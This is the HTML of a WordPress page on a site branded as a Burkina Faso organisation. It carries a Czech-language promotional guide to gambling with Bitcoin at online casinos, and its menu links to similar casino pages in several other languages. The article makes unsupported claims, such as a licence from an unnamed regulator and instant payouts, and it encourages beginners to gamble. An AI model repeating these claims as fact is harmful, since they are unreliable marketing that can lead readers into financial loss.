.footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='https://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/838" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=838' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="https://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-838 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838 current_page_item"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" aria-current="page">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-838" class="post-838 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">BTC hrát: aplikace a mobilní průvodce</h1>
				
				
					<div class="entry-content">
					<figure data-affgun-media="hero" style="margin:0 0 1.5em 0;text-align:center"><img decoding="async" src="https://i.ytimg.com/vi/-UYXWf0fXvo/hqdefault.jpg" alt="" style="max-width:100%;height:auto;border-radius:8px" loading="lazy" referrerpolicy="no-referrer"></figure>
<h1>Jak bezpečně a výhodně BTC hrát v českém online kasinu</h1>
<h2 id="pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</h2>
<div data-affgun-media="video" style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;margin:1.5em 0;border-radius:8px"><iframe src="https://www.youtube-nocookie.com/embed/-UYXWf0fXvo" style="position:absolute;top:0;left:0;width:100%;height:100%;border:0;border-radius:8px" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="accelerometer;autoplay;clipboard-write;encrypted-media;gyroscope;picture-in-picture" allowfullscreen=""></iframe></div>
<p>Bitcoiny se staly populární volbou pro hráče, kteří hledají rychlé a diskrétní transakce. Díky decentralizované povaze kryptoměny se vyhnete tradičním bankovním poplatkům a můžete si užívat okamžité vklady i výběry. Navíc mnoho českých kasin nabízí speciální bonusy jen pro uživatele, kteří si zvolí BTC jako platební metodu. Pokud se vám chce <strong>BTC hrát</strong> a zároveň mít kontrolu nad svými financemi, tento přístup vám poskytne flexibilitu i bezpečí.</p>
<nav aria-label="Table of contents">
<ol>
<li><a href="#pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</a></li>
<li><a href="#registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</a>
<ol>
<li><a href="#registrace-krok-po-kroku">Registrace krok po kroku</a></li>
</ol>
</li>
<li><a href="#bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</a>
<ol>
<li><a href="#vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</a></li>
</ol>
</li>
<li><a href="#platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</a></li>
<li><a href="#mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</a>
<ol>
<li><a href="#mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</a></li>
</ol>
</li>
<li><a href="#bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</a></li>
<li><a href="#asto-kladen-otzky-faq">Často kladené otázky (FAQ)</a></li>
</ol>
</nav>
<p>Pro české hráče je také výhodou, že Bitcoin není vázán na konkrétní měnu, takže můžete snadno převádět mezi CZK a BTC podle aktuálního kurzu. To vám umožní lépe spravovat bankroll a využívat výhodných kurzů. V praxi to znamená méně papírování a rychlejší přístup k výhrám, což je hlavní důvod, proč se mnoho začátečníků rozhodne <em>BTC hrát</em> právě u nás.</p>
<h2 id="registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</h2>
<h3 id="registrace-krok-po-kroku">Registrace krok po kroku</h3>
<p>První krok je otevření účtu na <a href="https://btccasino.cz/">Bitcoin kasino</a>. Vyplníte základní údaje – e‑mail, heslo a volitelně telefon. Poté potvrďte e‑mail pomocí odkazu, který vám přijde do schránky. Registrace trvá jen pár minut a po jejím dokončení můžete přistoupit k prvnímu vkladu v Bitcoinech.</p>
<p>Ovšem pro zvýšenou bezpečnost bude kasino vyžadovat KYC (poznání zákazníka). Nahrajete kopii občanského průkazu a případně doklad o adrese. Tento proces může zabrat až 24 hodin, ale po schválení získáte plný přístup ke všem bonusům a limitům výběru. Vše probíhá v zabezpečeném rozhraní, takže vaše data jsou v bezpečí.</p>
<h2 id="bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</h2>
<h3 id="vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</h3>
<p>Většina licencovaných kasin v České republice nabízí vstupní bonus speciálně pro kryptoměny. Obvykle se jedná o 100 % match bonus až do výše 0,5 BTC plus několik free spinů na populárních automatech. Při uplatnění bonusu je nutné splnit wagering requirements, které se pohybují kolem 30‑35× celkové částky bonusu.</p>
<p>Upozorňujeme, že ne všechny hry přispívají stejně ke splnění podmínek – sloty mají nejvyšší příspěvek, zatímco live casino může mít nižší koeficient. Proto je dobré si před hraním přečíst podrobný bonusový popis a naplánovat si, jaké hry použijete ke splnění wagering requirements. Výše uvedený přístup vám pomůže maximalizovat zisk a minimalizovat ztrátu času.</p>
<h2 id="platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</h2>
<p>Vkládat a vybírat peníze pomocí Bitcoinu je v našem kasinu naprosto jednoduché. Po přihlášení zvolíte sekci „Deposit“ a získáte unikátní Bitcoin adresu, na kterou pošlete požadovanou částku. Vklady jsou zpracovány během několika minut, což je podstatná výhoda oproti tradičním bankovním převodům, které mohou trvat dny.</p>
<p>Výběry se liší v rychlosti podle zvolené blockchainové sítě. Níže uvádíme přehled typických časů a poplatků.</p>
<table border="1" cellpadding="5" cellspacing="0">
<thead>
<tr>
<th>Metoda výběru</th>
<th>Průměrná rychlost</th>
<th>Poplatek</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standardní Bitcoin (BTC)</td>
<td>10‑30 minut</td>
<td>0,0005 BTC</td>
</tr>
<tr>
<td>Lightning Network</td>
<td>Okamžitě</td>
<td>0,0001 BTC</td>
</tr>
<tr>
<td>Instant payout (vnitřní převod)</td>
<td>Do 5 minut</td>
<td>Žádný</td>
</tr>
</tbody>
</table>
<p>Kromě Bitcoinu můžete využít i další kryptoměny, ale pokud chcete <strong>BTC hrát</strong>, držte se výše uvedených metod, aby byl váš cash‑flow co nejplynulejší. Všechny transakce jsou monitorovány systémem anti‑fraud, takže máte jistotu, že vaše výhry dorazí bezpečně a bez zbytečného zdržení.</p>
<h2 id="mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</h2>
<h3 id="mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</h3>
<p>Naše platforma nabízí plně optimalizovanou mobilní verzi, která funguje jak v mobilním prohlížeči, tak v samostatné aplikaci pro Android i iOS. Aplikace podporuje všechny funkce, včetně vkladů v BTC, bonusových oznámení a okamžitého přístupu k live dealerům. Díky tomu můžete hrát i na cestách, aniž byste museli měnit zařízení.</p>
<p>Live casino nabízí reálné dealery, ruletu, blackjack a baccarat, kde můžete <em>BTC hrát</em> přímo proti živým profesionálům. Streamy jsou ve vysokém rozlišení a přichází s interaktivním chatem, takže máte pocit, že jste přímo na herním podlaze v Las Vegas. Pro začátečníky jsou k dispozici tutoriály, které vám pomohou pochopit pravidla a strategii během několika minut.</p>
<h2 id="bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</h2>
<p>Kasino je licencováno od renomovaného regulačního orgánu, což zaručuje transparentní provoz a dodržování přísných standardů. Šifrování SSL 256‑bit chrání veškeré osobní a finanční údaje, a všechny Bitcoin transakce jsou sledovány blockchainovým auditem, takže jsou plně prověřitelné.</p>
<p>V rámci zodpovědného hraní poskytujeme nástroje pro limity vkladů, časové omezení a možnost samovolného vyloučení. Pokud cítíte, že by hraní mohlo ohrozit váš rozpočet, můžete si nastavit denní limit nebo kontaktovat zákaznickou podporu, která je k dispozici 24/7 a pomůže vám s jakýmkoli požadavkem.</p>
<h2 id="asto-kladen-otzky-faq">Často kladené otázky (FAQ)</h2>
<ul>
<li><strong>Jak rychle se mé vklady v BTC projeví?</strong> Vklady jsou obvykle potvrzeny během 5‑15 minut, záleží na aktuální zátěži sítě.</li>
<li><strong>Jsou výhry v BTC okamžitě vyplatitelné?</strong> Ano, pokud použijete Lightning Network nebo interní instant payout, výplata může trvat méně než 5 minut.</li>
<li><strong>Potřebuji speciální účet pro kryptoměny?</strong> Ne, stačí vám běžný herní účet, kde můžete aktivovat Bitcoin jako platební metodu v nastavení.</li>
<li><strong>Jaké jsou wagering requirements pro bonus?</strong> Standardně 30‑35×, ale konkrétní podmínky najdete v bonusové sekci po přihlášení.</li>
</ul>
<p>Věříme, že tento praktický průvodce vám pomůže vstoupit do světa online hazardu s Bitcoiny s jistotou a pohodlím. Připravte se na rychlé výhry, bezpečné transakce a spoustu zábavy – a nezapomeňte hrát zodpovědně.</p>
					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"https://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"https://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"c2017a83a8","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"b82a2f40be","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"838","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="https://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="https://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
